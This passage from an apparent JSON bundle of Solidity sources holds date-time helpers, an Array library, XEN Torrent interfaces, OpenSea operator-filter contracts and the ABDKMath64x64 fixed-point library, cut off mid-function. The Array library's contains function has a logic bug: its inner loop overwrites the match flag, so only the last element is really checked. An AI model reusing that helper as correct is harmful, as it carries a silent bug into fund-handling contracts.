timestamp) {\n timestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY;\n }\n\n function timestampFromDateTime(\n uint256 year,\n uint256 month,\n uint256 day,\n uint256 hour,\n uint256 minute,\n uint256 second\n ) internal pure returns (uint256 timestamp) {\n timestamp =\n _daysFromDate(year, month, day) *\n _SECONDS_PER_DAY +\n hour *\n _SECONDS_PER_HOUR +\n minute *\n _SECONDS_PER_MINUTE +\n second;\n }\n\n function timestampToDate(uint256 timestamp)\n internal\n pure\n returns (\n uint256 year,\n uint256 month,\n uint256 day\n )\n {\n (year, month, day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n }\n\n function timestampToDateTime(uint256 timestamp)\n internal\n pure\n returns (\n uint256 year,\n uint256 month,\n uint256 day,\n uint256 hour,\n uint256 minute,\n uint256 second\n )\n {\n (year, month, day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n uint256 secs = timestamp % _SECONDS_PER_DAY;\n hour = secs / _SECONDS_PER_HOUR;\n secs = secs % _SECONDS_PER_HOUR;\n minute = secs / _SECONDS_PER_MINUTE;\n second = secs % _SECONDS_PER_MINUTE;\n }\n\n function isValidDate(\n uint256 year,\n uint256 month,\n uint256 day\n ) internal pure returns (bool valid) {\n if (year >= 1970 && month > 0 && month <= 12) {\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > 0 && day <= daysInMonth) {\n valid = true;\n }\n }\n }\n\n function isValidDateTime(\n uint256 year,\n uint256 month,\n uint256 day,\n uint256 hour,\n uint256 minute,\n uint256 second\n ) internal pure returns (bool valid) {\n if (isValidDate(year, month, day)) {\n if (hour < 24 && minute < 60 && second < 60) {\n valid = true;\n }\n }\n }\n\n function isLeapYear(uint256 timestamp) internal pure returns (bool leapYear) {\n (uint256 year, , ) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n leapYear = _isLeapYear(year);\n }\n\n function _isLeapYear(uint256 year) private pure returns (bool leapYear) {\n leapYear = ((year % 4 == 0) && (year % 100 != 0)) || (year % 400 == 0);\n }\n\n function isWeekDay(uint256 timestamp) internal pure returns (bool weekDay) {\n weekDay = getDayOfWeek(timestamp) <= _DOW_FRI;\n }\n\n function isWeekEnd(uint256 timestamp) internal pure returns (bool weekEnd) {\n weekEnd = getDayOfWeek(timestamp) >= _DOW_SAT;\n }\n\n function getDaysInMonth(uint256 timestamp) internal pure returns (uint256 daysInMonth) {\n (uint256 year, uint256 month, ) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n daysInMonth = _getDaysInMonth(year, month);\n }\n\n function _getDaysInMonth(uint256 year, uint256 month) private pure returns (uint256 daysInMonth) {\n if (month == 1 || month == 3 || month == 5 || month == 7 || month == 8 || month == 10 || month == 12) {\n daysInMonth = 31;\n } else if (month != 2) {\n daysInMonth = 30;\n } else {\n daysInMonth = _isLeapYear(year) ? 29 : 28;\n }\n }\n\n // 1 = Monday, 7 = Sunday\n function getDayOfWeek(uint256 timestamp) internal pure returns (uint256 dayOfWeek) {\n uint256 _days = timestamp / _SECONDS_PER_DAY;\n dayOfWeek = ((_days + 3) % 7) + 1;\n }\n\n function getYear(uint256 timestamp) internal pure returns (uint256 year) {\n (year, , ) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n }\n\n function getMonth(uint256 timestamp) internal pure returns (uint256 month) {\n (, month, ) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n }\n\n function getDay(uint256 timestamp) internal pure returns (uint256 day) {\n (, , day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n }\n\n function getHour(uint256 timestamp) internal pure returns (uint256 hour) {\n uint256 secs = timestamp % _SECONDS_PER_DAY;\n hour = secs / _SECONDS_PER_HOUR;\n }\n\n function getMinute(uint256 timestamp) internal pure returns (uint256 minute) {\n uint256 secs = timestamp % _SECONDS_PER_HOUR;\n minute = secs / _SECONDS_PER_MINUTE;\n }\n\n function getSecond(uint256 timestamp) internal pure returns (uint256 second) {\n second = timestamp % _SECONDS_PER_MINUTE;\n }\n\n function addYears(uint256 timestamp, uint256 _years) internal pure returns (uint256 newTimestamp) {\n (uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n year += _years;\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > daysInMonth) {\n day = daysInMonth;\n }\n newTimestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY + (timestamp % _SECONDS_PER_DAY);\n require(newTimestamp >= timestamp);\n }\n\n function addMonths(uint256 timestamp, uint256 _months) internal pure returns (uint256 newTimestamp) {\n (uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n month += _months;\n year += (month - 1) / 12;\n month = ((month - 1) % 12) + 1;\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > daysInMonth) {\n day = daysInMonth;\n }\n newTimestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY + (timestamp % _SECONDS_PER_DAY);\n require(newTimestamp >= timestamp);\n }\n\n function addDays(uint256 timestamp, uint256 _days) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp + _days * _SECONDS_PER_DAY;\n require(newTimestamp >= timestamp);\n }\n\n function addHours(uint256 timestamp, uint256 _hours) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp + _hours * _SECONDS_PER_HOUR;\n require(newTimestamp >= timestamp);\n }\n\n function addMinutes(uint256 timestamp, uint256 _minutes) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp + _minutes * _SECONDS_PER_MINUTE;\n require(newTimestamp >= timestamp);\n }\n\n function addSeconds(uint256 timestamp, uint256 _seconds) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp + _seconds;\n require(newTimestamp >= timestamp);\n }\n\n function subYears(uint256 timestamp, uint256 _years) internal pure returns (uint256 newTimestamp) {\n (uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n year -= _years;\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > daysInMonth) {\n day = daysInMonth;\n }\n newTimestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY + (timestamp % _SECONDS_PER_DAY);\n require(newTimestamp <= timestamp);\n }\n\n function subMonths(uint256 timestamp, uint256 _months) internal pure returns (uint256 newTimestamp) {\n (uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n uint256 yearMonth = year * 12 + (month - 1) - _months;\n year = yearMonth / 12;\n month = (yearMonth % 12) + 1;\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > daysInMonth) {\n day = daysInMonth;\n }\n newTimestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY + (timestamp % _SECONDS_PER_DAY);\n require(newTimestamp <= timestamp);\n }\n\n function subDays(uint256 timestamp, uint256 _days) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp - _days * _SECONDS_PER_DAY;\n require(newTimestamp <= timestamp);\n }\n\n function subHours(uint256 timestamp, uint256 _hours) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp - _hours * _SECONDS_PER_HOUR;\n require(newTimestamp <= timestamp);\n }\n\n function subMinutes(uint256 timestamp, uint256 _minutes) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp - _minutes * _SECONDS_PER_MINUTE;\n require(newTimestamp <= timestamp);\n }\n\n function subSeconds(uint256 timestamp, uint256 _seconds) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp - _seconds;\n require(newTimestamp <= timestamp);\n }\n\n function diffYears(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _years) {\n require(fromTimestamp <= toTimestamp);\n (uint256 fromYear, , ) = _daysToDate(fromTimestamp / _SECONDS_PER_DAY);\n (uint256 toYear, , ) = _daysToDate(toTimestamp / _SECONDS_PER_DAY);\n _years = toYear - fromYear;\n }\n\n function diffMonths(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _months) {\n require(fromTimestamp <= toTimestamp);\n (uint256 fromYear, uint256 fromMonth, ) = _daysToDate(fromTimestamp / _SECONDS_PER_DAY);\n (uint256 toYear, uint256 toMonth, ) = _daysToDate(toTimestamp / _SECONDS_PER_DAY);\n _months = toYear * 12 + toMonth - fromYear * 12 - fromMonth;\n }\n\n function diffDays(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _days) {\n require(fromTimestamp <= toTimestamp);\n _days = (toTimestamp - fromTimestamp) / _SECONDS_PER_DAY;\n }\n\n function diffHours(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _hours) {\n require(fromTimestamp <= toTimestamp);\n _hours = (toTimestamp - fromTimestamp) / _SECONDS_PER_HOUR;\n }\n\n function diffMinutes(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _minutes) {\n require(fromTimestamp <= toTimestamp);\n _minutes = (toTimestamp - fromTimestamp) / _SECONDS_PER_MINUTE;\n }\n\n function diffSeconds(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _seconds) {\n require(fromTimestamp <= toTimestamp);\n _seconds = toTimestamp - fromTimestamp;\n }\n}\n"
},
"/contracts/libs/Array.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nlibrary Array {\n function idx(uint256[] memory arr, uint256 item) internal pure returns (uint256 i) {\n for (i = 1; i <= arr.length; i++) {\n if (arr[i - 1] == item) {\n return i;\n }\n }\n i = 0;\n }\n\n function addItem(uint256[] storage arr, uint256 item) internal {\n if (idx(arr, item) == 0) {\n arr.push(item);\n }\n }\n\n function removeItem(uint256[] storage arr, uint256 item) internal {\n uint256 i = idx(arr, item);\n if (i > 0) {\n arr[i - 1] = arr[arr.length - 1];\n arr.pop();\n }\n }\n\n function contains(uint256[] memory container, uint256[] memory items) internal pure returns (bool) {\n if (items.length == 0) return true;\n for (uint256 i = 0; i < items.length; i++) {\n bool itemIsContained = false;\n for (uint256 j = 0; j < container.length; j++) {\n itemIsContained = items[i] == container[j];\n }\n if (!itemIsContained) return false;\n }\n return true;\n }\n\n function asSingletonArray(uint256 element) internal pure returns (uint256[] memory) {\n uint256[] memory array = new uint256[](1);\n array[0] = element;\n return array;\n }\n\n function hasDuplicatesOrZeros(uint256[] memory array) internal pure returns (bool) {\n for (uint256 i = 0; i < array.length; i++) {\n if (array[i] == 0) return true;\n for (uint256 j = 0; j < array.length; j++) {\n if (array[i] == array[j] && i != j) return true;\n }\n }\n return false;\n }\n\n function hasRoguesOrZeros(uint256[] memory array) internal pure returns (bool) {\n uint256 _first = array[0];\n for (uint256 i = 0; i < array.length; i++) {\n if (array[i] == 0 || array[i] != _first) return true;\n }\n return false;\n }\n}\n"
},
"/contracts/interfaces/IXENTorrent.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IXENTorrent {\n event StartTorrent(address indexed user, uint256 count, uint256 term);\n event EndTorrent(address indexed user, uint256 tokenId, address to);\n\n function bulkClaimRank(uint256 count, uint256 term) external returns (uint256);\n\n function bulkClaimMintReward(uint256 tokenId, address to) external;\n}\n"
},
"/contracts/interfaces/IXENProxying.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IXENProxying {\n function callClaimRank(uint256 term) external;\n\n function callClaimMintReward(address to) external;\n\n function powerDown() external;\n}\n"
},
"/contracts/interfaces/IERC2771.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IERC2771 {\n function isTrustedForwarder(address forwarder) external;\n}\n"
},
"operator-filter-registry/src/OperatorFilterer.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\nimport {IOperatorFilterRegistry} from \"./IOperatorFilterRegistry.sol\";\n\n/**\n * @title OperatorFilterer\n * @notice Abstract contract whose constructor automatically registers and optionally subscribes to or copies another\n * registrant's entries in the OperatorFilterRegistry.\n * @dev This smart contract is meant to be inherited by token contracts so they can use the following:\n * - `onlyAllowedOperator` modifier for `transferFrom` and `safeTransferFrom` methods.\n * - `onlyAllowedOperatorApproval` modifier for `approve` and `setApprovalForAll` methods.\n */\nabstract contract OperatorFilterer {\n error OperatorNotAllowed(address operator);\n\n IOperatorFilterRegistry public constant OPERATOR_FILTER_REGISTRY =\n IOperatorFilterRegistry(0x000000000000AAeB6D7670E522A718067333cd4E);\n\n constructor(address subscriptionOrRegistrantToCopy, bool subscribe) {\n // If an inheriting token contract is deployed to a network without the registry deployed, the modifier\n // will not revert, but the contract will need to be registered with the registry once it is deployed in\n // order for the modifier to filter addresses.\n if (address(OPERATOR_FILTER_REGISTRY).code.length > 0) {\n if (subscribe) {\n OPERATOR_FILTER_REGISTRY.registerAndSubscribe(address(this), subscriptionOrRegistrantToCopy);\n } else {\n if (subscriptionOrRegistrantToCopy != address(0)) {\n OPERATOR_FILTER_REGISTRY.registerAndCopyEntries(address(this), subscriptionOrRegistrantToCopy);\n } else {\n OPERATOR_FILTER_REGISTRY.register(address(this));\n }\n }\n }\n }\n\n modifier onlyAllowedOperator(address from) virtual {\n // Allow spending tokens from addresses with balance\n // Note that this still allows listings and marketplaces with escrow to transfer tokens if transferred\n // from an EOA.\n if (from != msg.sender) {\n _checkFilterOperator(msg.sender);\n }\n _;\n }\n\n modifier onlyAllowedOperatorApproval(address operator) virtual {\n _checkFilterOperator(operator);\n _;\n }\n\n function _checkFilterOperator(address operator) internal view virtual {\n // Check registry code length to facilitate testing in environments without a deployed registry.\n if (address(OPERATOR_FILTER_REGISTRY).code.length > 0) {\n if (!OPERATOR_FILTER_REGISTRY.isOperatorAllowed(address(this), operator)) {\n revert OperatorNotAllowed(operator);\n }\n }\n }\n}\n"
},
"operator-filter-registry/src/IOperatorFilterRegistry.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\ninterface IOperatorFilterRegistry {\n function isOperatorAllowed(address registrant, address operator) external view returns (bool);\n function register(address registrant) external;\n function registerAndSubscribe(address registrant, address subscription) external;\n function registerAndCopyEntries(address registrant, address registrantToCopy) external;\n function unregister(address addr) external;\n function updateOperator(address registrant, address operator, bool filtered) external;\n function updateOperators(address registrant, address[] calldata operators, bool filtered) external;\n function updateCodeHash(address registrant, bytes32 codehash, bool filtered) external;\n function updateCodeHashes(address registrant, bytes32[] calldata codeHashes, bool filtered) external;\n function subscribe(address registrant, address registrantToSubscribe) external;\n function unsubscribe(address registrant, bool copyExistingEntries) external;\n function subscriptionOf(address addr) external returns (address registrant);\n function subscribers(address registrant) external returns (address[] memory);\n function subscriberAt(address registrant, uint256 index) external returns (address);\n function copyEntriesOf(address registrant, address registrantToCopy) external;\n function isOperatorFiltered(address registrant, address operator) external returns (bool);\n function isCodeHashOfFiltered(address registrant, address operatorWithCode) external returns (bool);\n function isCodeHashFiltered(address registrant, bytes32 codeHash) external returns (bool);\n function filteredOperators(address addr) external returns (address[] memory);\n function filteredCodeHashes(address addr) external returns (bytes32[] memory);\n function filteredOperatorAt(address registrant, uint256 index) external returns (address);\n function filteredCodeHashAt(address registrant, uint256 index) external returns (bytes32);\n function isRegistered(address addr) external returns (bool);\n function codeHashOf(address addr) external returns (bytes32);\n}\n"
},
"operator-filter-registry/src/DefaultOperatorFilterer.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\nimport {OperatorFilterer} from \"./OperatorFilterer.sol\";\n\n/**\n * @title DefaultOperatorFilterer\n * @notice Inherits from OperatorFilterer and automatically subscribes to the default OpenSea subscription.\n */\nabstract contract DefaultOperatorFilterer is OperatorFilterer {\n address constant DEFAULT_SUBSCRIPTION = address(0x3cc6CddA760b79bAfa08dF41ECFA224f810dCeB6);\n\n constructor() OperatorFilterer(DEFAULT_SUBSCRIPTION, true) {}\n}\n"
},
"abdk-libraries-solidity/ABDKMath64x64.sol": {
"content": "// SPDX-License-Identifier: BSD-4-Clause\n/*\n * ABDK Math 64.64 Smart Contract Library. Copyright © 2019 by ABDK Consulting.\n * Author: Mikhail Vladimirov <mikhail.vladimirov@gmail.com>\n */\npragma solidity ^0.8.0;\n\n/**\n * Smart contract library of mathematical functions operating with signed\n * 64.64-bit fixed point numbers. Signed 64.64-bit fixed point number is\n * basically a simple fraction whose numerator is signed 128-bit integer and\n * denominator is 2^64. As long as denominator is always the same, there is no\n * need to store it, thus in Solidity signed 64.64-bit fixed point numbers are\n * represented by int128 type holding only the numerator.\n */\nlibrary ABDKMath64x64 {\n /*\n * Minimum value signed 64.64-bit fixed point number may have. \n */\n int128 private constant MIN_64x64 = -0x80000000000000000000000000000000;\n\n /*\n * Maximum value signed 64.64-bit fixed point number may have. \n */\n int128 private constant MAX_64x64 = 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\n\n /**\n * Convert signed 256-bit integer number into signed 64.64-bit fixed point\n * number. Revert on overflow.\n *\n * @param x signed 256-bit integer number\n * @return signed 64.64-bit fixed point number\n */\n function fromInt (int256 x) internal pure returns (int128) {\n unchecked {\n require (x >= -0x8000000000000000 && x <= 0x7FFFFFFFFFFFFFFF);\n return int128 (x << 64);\n }\n }\n\n /**\n * Convert signed 64.64 fixed point number into signed 64-bit integer number\n * rounding down.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64-bit integer number\n */\n function toInt (int128 x) internal pure returns (int64) {\n unchecked {\n return int64 (x >> 64);\n }\n }\n\n /**\n * Convert unsigned 256-bit integer number into signed 64.64-bit fixed point\n * number. Revert on overflow.\n *\n * @param x unsigned 256-bit integer number\n * @return signed 64.64-bit fixed point number\n */\n function fromUInt (uint256 x) internal pure returns (int128) {\n unchecked {\n require (x <= 0x7FFFFFFFFFFFFFFF);\n return int128 (int256 (x << 64));\n }\n }\n\n /**\n * Convert signed 64.64 fixed point number into unsigned 64-bit integer\n * number rounding down. Revert on underflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return unsigned 64-bit integer number\n */\n function toUInt (int128 x) internal pure returns (uint64) {\n unchecked {\n require (x >= 0);\n return uint64 (uint128 (x >> 64));\n }\n }\n\n /**\n * Convert signed 128.128 fixed point number into signed 64.64-bit fixed point\n * number rounding down. Revert on overflow.\n *\n * @param x signed 128.128-bin fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function from128x128 (int256 x) internal pure returns (int128) {\n unchecked {\n int256 result = x >> 64;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Convert signed 64.64 fixed point number into signed 128.128 fixed point\n * number.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 128.128 fixed point number\n */\n function to128x128 (int128 x) internal pure returns (int256) {\n unchecked {\n return int256 (x) << 64;\n }\n }\n\n /**\n * Calculate x + y. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function add (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n int256 result = int256(x) + y;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate x - y. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function sub (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n int256 result = int256(x) - y;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate x * y rounding down. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function mul (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n int256 result = int256(x) * y >> 64;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate x * y rounding towards zero, where x is signed 64.64 fixed point\n * number and y is signed 256-bit integer number. Revert on overflow.\n *\n * @param x signed 64.64 fixed point number\n * @param y signed 256-bit integer number\n * @return signed 256-bit integer number\n */\n function muli (int128 x, int256 y) internal pure returns (int256) {\n unchecked {\n if (x == MIN_64x64) {\n require (y >= -0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF &&\n y <= 0x1000000000000000000000000000000000000000000000000);\n return -y << 63;\n } else {\n bool negativeResult = false;\n if (x < 0) {\n x = -x;\n negativeResult = true;\n }\n if (y < 0) {\n y = -y; // We rely on overflow behavior here\n negativeResult = !negativeResult;\n }\n uint256 absoluteResult = mulu (x, uint256 (y));\n if (negativeResult) {\n require (absoluteResult <=\n 0x8000000000000000000000000000000000000000000000000000000000000000);\n return -int256 (absoluteResult); // We rely on overflow behavior here\n } else {\n require (absoluteResult <=\n 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n return int256 (absoluteResult);\n }\n }\n }\n }\n\n /**\n * Calculate x * y rounding down, where x is signed 64.64 fixed point number\n * and y is unsigned 256-bit integer number. Revert on overflow.\n *\n * @param x signed 64.64 fixed point number\n * @param y unsigned 256-bit integer number\n * @return unsigned 256-bit integer number\n */\n function mulu (int128 x, uint256 y) internal pure returns (uint256) {\n unchecked {\n if (y == 0) return 0;\n\n require (x >= 0);\n\n uint256 lo = (uint256 (int256 (x)) * (y & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)) >> 64;\n uint256 hi = uint256 (int256 (x)) * (y >> 128);\n\n require (hi <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n hi <<= 64;\n\n require (hi <=\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF - lo);\n return hi + lo;\n }\n }\n\n /**\n * Calculate x / y rounding towards zero. Revert on overflow or when y is\n * zero.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function div (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n require (y != 0);\n int256 result = (int256 (x) << 64) / y;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate x / y rounding towards zero, where x and y are signed 256-bit\n * integer numbers. Revert on overflow or when y is zero.\n *\n * @param x signed 256-bit integer number\n * @param y signed 256-bit integer number\n * @return signed 64.64-bit fixed point number\n */\n function divi (int256 x, int256 y) internal pure returns (int128) {\n unchecked {\n require (y != 0);\n\n bool negativeResult = false;\n if (x < 0) {\n x = -x; // We rely on overflow behavior here\n negativeResult = true;\n }\n if (y < 0) {\n y = -y; // We rely on overflow behavior here\n negativeResult = !negativeResult;\n }\n uint128 absoluteResult = divuu (uint256 (x), uint256 (y));\n if (negativeResult) {\n require (absoluteResult <= 0x80000000000000000000000000000000);\n return -int128 (absoluteResult); // We rely on overflow behavior here\n } else {\n require (absoluteResult <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n return int128 (absoluteResult); // We rely on overflow behavior here\n }\n }\n }\n\n /**\n * Calculate x / y rounding towards zero, where x and y are unsigned 256-bit\n * integer numbers. Revert on overflow or when y is zero.\n *\n * @param x unsigned 256-bit integer number\n * @param y unsigned 256-bit integer number\n * @return signed 64.64-bit fixed point number\n */\n function divu (uint256 x, uint256 y) internal pure returns (int128) {\n unchecked {\n require (y != 0);\n uint128 result = divuu (x, y);\n require (result <= uint128 (MAX_64x64));\n return int128 (result);\n }\n }\n\n /**\n * Calculate -x. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function neg (int128 x) internal pure returns (int128) {\n unchecked {\n require (x != MIN_64x64);\n return -x;\n }\n }\n\n /**\n * Calculate |x|. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function abs (int128 x) internal pure returns (int128) {\n unchecked {\n require (x != MIN_64x64);\n return x < 0 ? -x : x;\n }\n }\n\n /**\n * Calculate 1 / x rounding towards zero. Revert on overflow or when x is\n * zero.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function inv (int128 x) internal pure returns (int128) {\n unchecked {\n require (x != 0);\n int256 result = int256 (0x100000000000000000000000000000000) / x;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate arithmetics average of x and y, i.e. (x + y) / 2 rounding down.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function avg (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n return int128 ((int256 (x) + int256 (y)) >> 1);\n }\n }\n\n /**\n * Calculate geometric average of x and y, i.e. sqrt (x * y) rounding down.\n * Revert on overflow or in case x * y is negative.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function gavg (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n int256 m = int256 (x) * int256 (y);\n require (m >= 0);\n require (m <\n 0x4000000000000000000000000000000000000000000000000000000000000000);\n return int128 (sqrtu (uint256 (m)));\n }\n }\n\n /**\n * Calculate x^y assuming 0^0 is 1, where x is signed 64.64 fixed point number\n * and y is unsigned 256-bit integer number. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y uint256 value\n * @return signed 64.64-bit fixed point number\n */\n function pow (int128 x, uint256 y) internal pure returns (int128) {\n unchecked {\n bool negative = x < 0 && y & 1 == 1;\n\n uint256 absX = uint128 (x < 0 ? -x : x);\n uint256 absResult;\n absResult = 0x100000000000000000000000000000000;\n\n if (absX <= 0x10000000000000000) {\n absX <<= 63;\n while (y != 0) {\n if (y & 0x1 != 0) {\n absResult = absResult * absX >> 127;\n }\n absX = absX * absX >> 127;\n\n if (y & 0x2 != 0) {\n absResult = absResult * absX >> 127;\n }\n absX = absX * absX >> 127;\n\n if (y & 0x4 != 0) {\n absResult = absResult * absX >> 127;\n }\n absX = absX * absX >> 127;\n\n if (y & 0x8 != 0) {\n absResult = absResult * absX >> 127;\n }\n absX = absX * absX >> 127;\n\n y >>= 4;\n }\n\n absResult >>= 64;\n } else {\n uint256 absXShift = 63;\n if (absX < 0x1000000000000000000000000) { absX <<= 32; absXShift -= 32; }\n if (absX < 0x10000000000000000000000000000) { absX <<= 16; absXShift -= 16; }\n if (absX < 0x1000000000000000000000000000000) { absX <<= 8; absXShift -= 8; }\n if (absX < 0x10000000000000000000000000000000) { absX <<= 4; absXShift -= 4; }\n if (absX < 0x40000000000000000000000000000000) { absX <<= 2; absXShift -= 2; }\n if (absX < 0x80000000000000000000000000000000) { absX <<= 1; absXShift -= 1; }\n\n uint256 resultShift = 0;\n while (y != 0) {\n require (absXShift < 64);\n\n if (y & 0x1 != 0) {\n absResult = absResult * absX >> 127;\n resultShift += absXShift;\n if (absResult > 0x100000000000000000000000000000000) {\n absResult >>= 1;\n resultShift += 1;\n }\n }\n absX = absX * absX >> 127;\n absXShift <<= 1;\n if (absX >= 0x100000000000000000000000000000000) {\n absX >>= 1;\n absXShift += 1;\n }\n\n y >>= 1;\n }\n\n require (resultShift < 64);\n absResult >>= 64 - resultShift;\n }\n int256 result = negative ? -int256 (absResult) : int256 (absResult);\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate sqrt (x) rounding down. Revert if x < 0.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function sqrt (int128 x) internal pure returns (int128) {\n unchecked {\n require (x >= 0);\n return int128 (sqrtu (uint256 (int256 (x)) << 64));\n }\n }\n\n /**\n * Calculate binary logarithm of x. Revert if x <= 0.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function log_2 (int128 x) internal pure returns (int128) {\n unchecked {\n require (x > 0);\n\n int256 msb = 0;\n int256 xc = x;\n if (xc >= 0x10000000000000000) { xc >>= 64; msb += 64; }\n if (xc >= 0x100000000) { xc >>= 32; msb += 32; }\n if (xc >= 0x10000) { xc >>= 16; msb += 16; }\n if (xc >= 0x100) { xc >>= 8; msb += 8; }\n if (xc >= 0x10) { xc >>= 4; msb += 4; }\n if (xc >= 0x4) { xc >>= 2; msb += 2; }\n if (xc >= 0x2) msb += 1; // No need to shift xc anymore\n\n int256 result = msb - 64 << 64;\n uint256 ux = uint256 (int256 (x)) << uint256 (127 - msb);\n for (int256 bit = 0x8000000000000000; bit > 0; bit >>= 1) {\n ux *= ux;\n uint256 b = ux >> 255;\n ux >>= 127 + b;\n result += bit * int256 (b);\n }\n\n return int128 (result);\n }\n }\n\n /**\n * Calculate natural logarithm of x. Revert if x <= 0.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function ln (int128 x) internal pure returns (int128) {\n unchecked {\n require (x > 0);\n\n return int128 (int256 (\n uint256 (int256 (log_2 (x))) * 0xB17217F7D1CF79ABC9E3B39803F2F6AF >> 128));\n }\n }\n\n /**\n * Calculate binary exponent of x. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function exp_2 (int128 x) internal pure returns (int128) {\n unchecked {\n require (x < 0x400000000000000000); // Overflow\n\n if (x < -0x400000000000000000) return 0; // Underflow\n\n uint256 result = 0x80000000000000000000000000000000;\n\n if (x & 0x8000000000000000 > 0)\n result = result * 0x16A09E667F3BCC908B2FB1366EA957D3E >> 128;\n if (x & 0x4000000000000000 > 0)\n result = result * 